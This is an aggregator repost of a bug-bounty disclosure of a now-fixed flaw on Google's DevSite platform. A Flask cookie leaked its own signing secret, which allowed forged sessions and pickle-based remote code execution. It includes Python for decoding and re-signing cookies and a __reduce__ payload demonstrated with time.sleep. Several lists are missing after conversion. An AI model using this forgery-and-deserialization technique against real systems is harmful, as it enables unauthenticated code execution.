返回资讯中心
外部精选
软件工程
#社区热议

I Found a $90k Remote Code Execution Vulnerability in Google

A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.

Hacker Newssoeckly2026/10/12 · 17 天前12 分钟阅读

以下正文同步自 Hacker News,版权归原站所有,已转换为易读排版。

A Flask cookie on developers.google.com was signed with a secret it was also carrying inside itself. Pulling that secret out turned a forged session into code execution across seven Google domains.

I was mapping the OAuth flow that Google’s developer docs sites all share. You hit /oauth2authorize, it sets a Flask session cookie and redirects you to Google’s sign-in page. No account needed:

curl -s -D headers.txt -o /dev/null
'https://developers.google.com/oauth2authorize?return_url=%2F'

The cookie is what caught my eye. Flask’s usual three-part session=<payload>.<timestamp>.<signature>, but about 1,200 bytes, way more than you need for a CSRF token and a return URL. So I decoded it.

Flask session cookies are signed, not encrypted, so the contents are right there for anyone holding one. The leading dot means the payload is zlib-compressed:

import base64 import json import pickletools import zlib

payload, timestamp, signature = cookie.rsplit(".", 2)

def b64decode(value): return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))

compressed = payload.startswith(".") raw = b64decode(payload[1:] if compressed else payload) session = json.loads(zlib.decompress(raw) if compressed else raw)

That gave me:

{ "permanent": true, "google_oauth2_csrf_token": "...", "google_oauth2_flow<csrf>": { " b": "..." } }

The " b" key is Flask tagging a bytes value. Base64-decoding it gave me a pickle, and pickletools.dis printed an oauth2client.client.OAuth2WebServerFlow object with its fields:

client_id = "<redacted>.apps.googleusercontent.com" client_secret = b"<redacted>"

The cookie contained a pickle-serialized payload, which was bad enough on its own. It also carried Google’s OAuth client_id and client_secret in plaintext. (The secret is redacted here; it was still live at the time of writing.)

I tried the client secret as the Flask SECRET_KEY, and the signature on the issued cookie validated against it. The signing key was stored inside the object it signs.

A client secret leaking in a cookie is a finding on its own. The part that mattered was that the same value verified the signature, so I nailed that down properly instead of trusting a lucky guess.

Flask signs through itsdangerous with the cookie-session key derivation, so I recomputed the signature offline:

import hmac

derived_key = hmac.digest(client_secret, b"cookie-session", "sha1") expected = hmac.digest( derived_key, f"{payload}.{timestamp}".encode(), "sha1", )

expected came out byte-for-byte identical to the signature on the cookie I’d been handed seconds earlier. To be sure it wasn’t a fluke I flipped one character of the signature (rejected) and re-signed the original payload with the recovered secret (accepted). Session integrity was gone. I could set every key and value in the session and still produce a signature the server would take.

The callback reads the flow back out of the session and unpickles it:

session cookie -> verify Flask signature -> read google_oauth2_flow_<csrf> -> base64-decode the bytes -> pickle.loads(...)

That pickle.loads is only “safe” as long as nobody else can forge a valid cookie. Once the key is public, that assumption is worthless. I built my own session with a made-up CSRF token and put whatever pickle I wanted under the matching flow key:

session = { "_permanent": True, "google_oauth2_csrf_token": "attacker-chosen", "google_oauth2_flow_attacker-chosen": { " b": base64.b64encode(attacker_blob).decode() }, }

The state parameter is mine too, so nothing needs to line up on the server’s end. It checks my signature, finds my flow entry, and passes the bytes to pickle.loads.

If you haven’t played with pickle before: the REDUCE opcode names a callable and its arguments, and unpickling just calls it. A public signing key plus this sink is unauthenticated RCE.

I wasn’t about to run commands on Google’s production, so I proved it with time. The payload reduced to time.sleep(N):

class Sleep: def init(self, seconds): self.seconds = seconds

def reduce(self): return (time.sleep, (self.seconds,))

Same forged session every time, only the number changed:

time.sleep(0) -> 0.207 s time.sleep(3) -> 3.193 s time.sleep(5) -> 5.194 s time.sleep(8) -> 8.283 s

The response time tracked the number in the pickle, which only happens if the server imported time and actually called sleep(N).

Then the controls, to rule out a slow endpoint or jitter:

This isn’t a single app, it’s the shared DevSite platform, so the key from developers.google.com signed valid sessions on:

Four things had to change, and they stack:

Any one of those would have broken the chain. All four lined up, and that’s how two GET requests end up running code on Google’s servers.

Normal Google Applications (T2), S0 RCE: $75,000 base × 1.2 for exceptional report quality.

Thanks to the Google Bug Hunters team and the DevSite engineers for investigating and fixing this issue.

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →